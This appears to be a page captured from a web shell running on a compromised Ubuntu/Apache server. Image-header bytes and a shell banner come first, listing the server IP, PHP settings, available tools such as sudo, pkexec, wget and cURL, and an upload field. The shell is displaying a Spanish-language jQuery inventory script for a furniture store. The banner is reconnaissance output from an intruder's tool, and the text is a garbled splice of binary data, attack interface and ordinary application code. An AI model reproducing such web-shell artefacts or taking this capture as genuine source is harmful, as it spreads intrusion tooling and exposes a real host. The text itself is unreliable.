����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.182 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/master/ |
Upload File : |
$(document).ready( function () { $("#txtname").keydown(function(e) { if(e.which == 13) { set_focus("#category_id"); } }); $("#category_id").keydown(function(e) { if(e.which == 13) { set_focus("#txtcodebar"); $("#txtstock").val(""); $("#txtprice").val(""); } }); $("#txtcodebar").keydown(function(e) { if(e.which == 13) { set_focus("#txtstock"); } }); $("#txtstock").keydown(function(e) { if(e.which == 13) { set_focus("#txtunit"); } }); $("#txtunit").keydown(function(e) { if(e.which == 13) { set_focus("#txtprice"); } }); $("#txtprice").keydown(function(e) { if(e.which == 13) { //alert("Precio de contado: " + discrp); set_focus("#txtnote"); } }); $("#txtnote").keydown(function(e) { if(e.which == 13) { set_focus("#btnsaveitem"); } }); init_data2(); //agregamos la tabla de mercancia en reporte de mercancia var value = { method : "getdata" }; $('#table_search').DataTable({ "language": { "decimal": "", "emptyTable": "No hay información", "info": "Mostrando _START_ a _END_ de _TOTAL_ Entradas", "infoEmpty": "Mostrando 0 to 0 of 0 Entradas", "infoFiltered": "(Filtrado de _MAX_ total entradas)", "infoPostFix": "", "thousands": ",", "lengthMenu": "Mostrar _MENU_ Entradas", "loadingRecords": "Cargando...", "processing": "Procesando...", "search": "Buscar:", "zeroRecords": "Sin resultados encontrados", "paginate": { "first": "Primero", "last": "Ultimo", "next": "Siguiente", "previous": "Anterior" } }, "paging": true, "lengthChange": false, "searching": true, "ordering": true, "info": false, "responsive": true, "autoWidth": true, "pageLength": 50, "dom": '<"top"f>rtip', "ajax": { "url": "c_item.php", "type": "POST", "data":value, }, "columns": [ { "data": "urutan" }, { "data": "barcode" }, { "data": "item_name" }, { "data": "stock" }, { "data": "stock2" }, ] }); $("#table_search_filter").addClass("pull-right"); $("#table_search_filter label input").focus(); }); $(document).on( "click","#btnadd", function() { document.getElementById('check').style.visibility = "hidden"; // show $(".contentharga").remove(); $("#modalmasteritem").modal('show'); $("#notepassword").html("Alta de Nuevo Producto"); document.getElementById('btn-save').style.visibility = "visible"; // show document.getElementById('btnBaja').style.visibility = "visible"; // show document.getElementById('btnedit').style.visibility = "visible"; // show newitem(); }); $(document).on( "click","#in_button", function() { $("#Entradadmodal").modal('show'); set_focus("#txtname"); document.getElementById("txtname").focus(); }); function newitem() { set_focus("#txtname"); document.getElementById("txtname").focus(); $("#txtiditem").val("*New"); $("#txtcodebar").val(""); $("#txtname").val(""); $("#txtstock").val(""); $("#txtprice").val(""); $("#txtnote").val(""); $("#inputcrud").val("N"); $("#txtunit").change(); set_focus("#txtname"); } $(document).on( "click",".btnedit", function() { var id_item = $(this).attr("id_item"); var value = { id_item: id_item, method : "get_detail_item" }; $.ajax( { url : "c_item.php", type: "POST", data : value, success: function(data, textStatus, jqXHR) { var hasil = jQuery.parseJSON(data); data = hasil.data; $("#inputcrud").val("E"); //se se deshabilita input barcode $("#txtcodebar").val(data.barcode); $("#txtiditem").val(data.id_item); $("#txtname").val($.trim(data.item_name)); $("#txtunit").val($.trim(data.unit)); $("#txtstock").val(data.stock); $("#txtprice").val(addCommas(data.price)); $("#txtnote").val($.trim(data.note)); $("#modalmasteritem").modal('show'); $("#notepassword").html("Editar Producto"); set_focus("#txtname"); }, error: function(jqXHR, textStatus, errorThrown) { } }); }); $("#btnedit").click(function(){ document.getElementById('check').style.visibility = "visible"; // show $("#inputcrud").val("E"); $("#notepassword").html("Editar producto"); document.getElementById('btnBaja').style.visibility = "hidden"; // show document.getElementById('btnsaveitem').style.visibility = "hidden"; // show document.getElementById('btnedit').style.visibility = "hidden"; // show }); $("#btnBaja").click(function(){ document.getElementById('check').style.visibility = "visible"; // show $("#inputcrud").val("B"); $("#notepassword").html("Baja producto"); document.getElementById('btnBaja').style.visibility = "hidden"; // show document.getElementById('btnsaveitem').style.visibility = "hidden"; // show document.getElementById('btnedit').style.visibility = "hidden"; // show }); $("#cerrarModal").click(function(){ document.getElementById('btnBaja').style.visibility = "visible"; // show document.getElementById('btnsaveitem').style.visibility = "visible"; // show document.getElementById('btnedit').style.visibility = "visible"; // show }); $(document).on( "click","#btnsaveitem", function() { $("#check").click(); }); $(document).on( "click","#check", function() { var id_item = $("#txtiditem").val(); var barcode = $("#txtcodebar").val(); var item_name = $("#txtname").val(); var unit = $("#txtunit").val(); var stock = cleanString($("#txtstock").val()); var price = cleanString($("#txtprice").val()); var note = $("#txtnote").val(); var category_id = $("#category_id").val(); var crud=$("#inputcrud").val(); if(crud == 'E'){ if(id_item == '' || id_item== null ){ $.notify({ message: "Error, actualizar, registro desconocido" },{ type: 'warning', delay: 8000, }); $("#txtiditem").focus(); return; } } if(item_name == '' || item_name== null ){ $.notify({ message: "por favor ingrese nombre" },{ type: 'warning', delay: 8000, }); $("#txtname").focus(); return; } var value = { id_item: id_item, barcode: barcode, item_name: item_name, unit:unit, stock:stock, price:price, note:note, crud:crud, category_id:category_id, method : "save_item" }; $(this).prop('disabled', true); proccess_waiting("#infoproses"); $.ajax( { url : "c_item.php", type: "POST", data : value, success: function(data, textStatus, jqXHR) { $("#btnsaveitem").prop('disabled', false); $("#infoproses").html(""); var data = jQuery.parseJSON(data); if(data.ceksat == 0){ $.notify(data.error); }else{ if(data.crud == 'N'){ if(data.result == 1){ $.notify('Registro Guardado!'); var table = $('#table_search').DataTable(); table.ajax.reload( null, false ); newitem(); document.getElementById('btnsaveitem').style.visibility = "visible"; // show document.getElementById('btnBaja').style.visibility = "visible"; // show document.getElementById('btnedit').style.visibility = "visible"; // show }else{ $.notify({ message: "Error save item, error :"+data.error },{ type: 'danger', delay: 5000, }); set_focus("#txtiditem"); } }else if(data.crud == 'E'){ if(data.result == 1){ document.getElementById('btnsaveitem').style.visibility = "visible"; // show document.getElementById('btnBaja').style.visibility = "visible"; // show document.getElementById('btnedit').style.visibility = "visible"; // show $.notify('Registro Actualizado'); var table = $('#table_search').DataTable(); table.ajax.reload( null, false ); $("#modalmasteritem").modal("hide"); newitem(); }else{ $.notify({ message: "Error al actualizar item, error :"+data.error },{ type: 'danger', delay: 5000, }); set_focus("#txtname"); } }else{ if(data.crud == 'B'){ if(data.result == 1){ document.getElementById('btnsaveitem').style.visibility = "visible"; // show document.getElementById('btnBaja').style.visibility = "visible"; // show document.getElementById('btnedit').style.visibility = "visible"; // show $.notify('Registro dado de baja'); var table = $('#table_search').DataTable(); table.ajax.reload( null, false ); $("#modalmasteritem").modal("hide"); newitem(); }else{ $.notify({ message: "Error al dar de baja item, error :"+data.error },{ type: 'danger', delay: 5000, }); set_focus("#txtname"); } }else{ $.notify({ message: "Registro Invalido!" },{ type: 'danger', delay: 5000, }); } } } }, error: function(jqXHR, textStatus, errorThrown) { $("#btnsaveitem").prop('disabled', false); } }); }); $(document).on( "click","#btnEditcategory", function() { $("#inputcrud2").val('E'); var crud=$("#inputcrud2").val(); $("#btnsavecategory").click(); }); $(document).on( "click","#btnDelcategory", function() { $("#inputcrud2").val('D'); var crud=$("#inputcrud2").val(); $("#btnsavecategory").click(); }); $(document).on( "click","#btnNewcategory", function() { $("#inputcrud2").val('N'); }); $(document).ready(function(){ $("#selector-seller").load('../model/select_category.php'); }); $(document).on("blur","#selector-seller",function (){ var valor = document.getElementById('selector-seller').value ; document.getElementById('id_seller').innerHTML = valor; document.getElementById('id_seller_ok').value = valor; var combo = document.getElementById("selector-seller"); var selected = combo.options[combo.selectedIndex].text; $.notify({ message: "Para Editar " + selected + " ahora escriba el nuevo nombre en el renglon, Para eliminarlo solo presione Eliminar " },{ type: 'warning', delay: 8000, }); $("#txtname2").focus(); }); $(document).on( "click","#btnsavecategory", function() { var item_name = $("#txtname2").val(); var crud=$("#inputcrud2").val(); var cat = $("#id_seller_ok").val(); if(crud == 'E'){ if(cat == '' || cat == null ){ $.notify({ message: "Para Editar Selecciona primero que categoria se editara" },{ type: 'warning', delay: 8000, }); $("#selector-seller").focus(); return; } } if(crud == 'D'){ $.notify({ message: "Se eliminara" },{ type: 'danger', delay: 2000, }); }else{ if(item_name == '' || item_name == null ){ $.notify({ message: "por favor ingrese nombre" },{ type: 'warning', delay: 8000, }); $("#txtname").focus(); return; } } var value = { item_name: item_name, cat: cat, crud:crud, method : "save_category" }; $(this).prop('disabled', true); proccess_waiting("#infoproses2"); $.ajax( { url : "c_item.php", type: "POST", data : value, success: function(data, textStatus, jqXHR) { $("#btnsavecategory").prop('disabled', false); $("#infoproses2").html(""); var data = jQuery.parseJSON(data); if(data.ceksat == 0){ $.notify(data.error); }else{ if(data.crud == 'N'){ if(data.result == false){ $.notify('Registro Guardado!'); var table = $('#table_item').DataTable(); table.ajax.reload( null, false ); }else{ $.notify({ message: "Error al Guardar Categoria # :" + data.result },{ type: 'danger', delay: 5000, }); set_focus("#txtiditem"); } }else{ if(crud == 'E'){ if(data.result == true){ $.notify('Registro Actualizado!'); }else{ $.notify({ message: "Error al Actualizar Categoria # :" + data.result },{ type: 'danger', delay: 5000, }); set_focus("#txtiditem"); } } } if(crud == 'D'){ if(data.result == true){ $.notify('Registro Eliminado!'); cat.remove(cat.selectedIndex); }else{ $.notify({ message: "Error al Actualizar Categoria # :" + data.result },{ type: 'danger', delay: 5000, }); set_focus("#txtiditem"); } } if(crud == ''){ $.notify({ message: "Registro Invalido!" },{ type: 'warning', delay: 5000, }); } } }, error: function(jqXHR, textStatus, errorThrown) { $.notify({ message: "Error, # : "+ data.error },{ type: 'eror', delay: 8000, }); $("#btnsavecategory").prop('disabled', false); } }); }); $(document).on( "click",".btndelete", function() { var id_item = $(this).attr("id_item"); var barcode = $(this).attr("barcode"); $("#passwordmodal").modal("show"); $("#txthidetrxid").val($(this).attr("id_item")); $("#txthiddentrans").val(barcode); $("#notepassword").html("Por Favor Ingrese contraseña para continuar!"); set_focus("#txtpass"); }); $(document).on("click",'#btncheckpass',function(){ var pass=$("#txtpass").val(); var value = { pass : pass, method : "check_password" }; $.ajax( { url : "../model/check_password.php", type: "POST", data : value, success: function(data, textStatus, jqXHR) { var data = jQuery.parseJSON(data); if(data.auth == true) { $("#passwordmodal").modal("hide"); $("#txtpass").val(""); var id_item = $("#txthidetrxid").val(); var barcode = $("#txthiddentrans").val(); swal({ title: "Borrar Producto", text: "Eliminar artículo maestro con Codigo : " + barcode + " ?", type: "warning", showCancelButton: true, confirmButtonColor: "#DD6B55", confirmButtonText: "Borrar", closeOnConfirm: true }, function(){ var value = { id_item: id_item, method : "delete_item" }; $.ajax( { url : "c_item.php", type: "POST", data : value, success: function(data, textStatus, jqXHR) { var data = jQuery.parseJSON(data); if(data.result ==1){ $.notify('Registro Borrado'); var table = $('#table_item').DataTable(); table.ajax.reload( null, false ); init_data(); }else{ $.notify({ message: "Error Inesperado!, Valor Error : "+ data.error },{ type: 'warning', delay: 8000, }); } }, error: function(jqXHR, textStatus, errorThrown) { $.notify({ message: "Error al borrar Registro, # : "+ data.error },{ type: 'eror', delay: 8000, }); } }); }); }else{ $.notify({ message: "La contraseña no coincide/Usuario No Autorizado, #: " + data.text1 },{ type: 'danger', delay: 5000, }); set_focus("#txtpass"); return; } }, error: function(jqXHR, textStatus, errorThrown) { loading_stop(); } }); }); function init_data(){ var value = { method : "getdata" }; $('#table_item').DataTable({ "paging": true, "lengthChange": false, "searching": true, "ordering": true, "info": false, "responsive": true, "autoWidth": false, "pageLength": 50, "dom": '<"top"f>rtip', "ajax": { "url": "c_item.php", "type": "POST", "data":value, }, "columns": [ { "data": "urutan" }, { "data": "barcode" }, { "data": "item_name" }, { "data": "price" }, { "data": "stock" }, { "data": "note" }, { "data": "button" }, ] }); $("#table_item_filter").addClass("pull-right"); } function init_data2(){ var value = { method : "getdata2" }; $('#table_search2').DataTable({ "language": { "decimal": "", "emptyTable": "No hay información", "info": "Mostrando _START_ a _END_ de _TOTAL_ Entradas", "infoEmpty": "Mostrando 0 to 0 of 0 Entradas", "infoFiltered": "(Filtrado de _MAX_ total entradas)", "infoPostFix": "", "thousands": ",", "lengthMenu": "Mostrar _MENU_ Entradas", "loadingRecords": "Cargando...", "processing": "Procesando...", "search": "Buscar:", "zeroRecords": "Sin resultados encontrados", "paginate": { "first": "Primero", "last": "Ultimo", "next": "Siguiente", "previous": "Anterior" } }, "paging": true, "lengthChange": false, "searching": true, "ordering": true, "info": false, "responsive": true, "autoWidth": false, "pageLength": 50, "dom": '<"top"f>rtip', "ajax": { "url": "c_item.php", "type": "POST", "data":value, }, "columns": [ { "data": "date_down" }, { "data": "urutan" }, { "data": "barcode" }, { "data": "item_name" }, { "data": "stock" }, ] }); $("#table_search2_filter").addClass("pull-right"); } //enter como tab function enter2tab(e) { if (e.keyCode == 13) { cb = parseInt($(this).attr('tabindex')); if ($(':input[tabindex=\'' + (cb + 1) + '\']') != null) { $(':input[tabindex=\'' + (cb + 1) + '\']').focus(); $(':input[tabindex=\'' + (cb + 1) + '\']').select(); e.preventDefault(); return false; } } }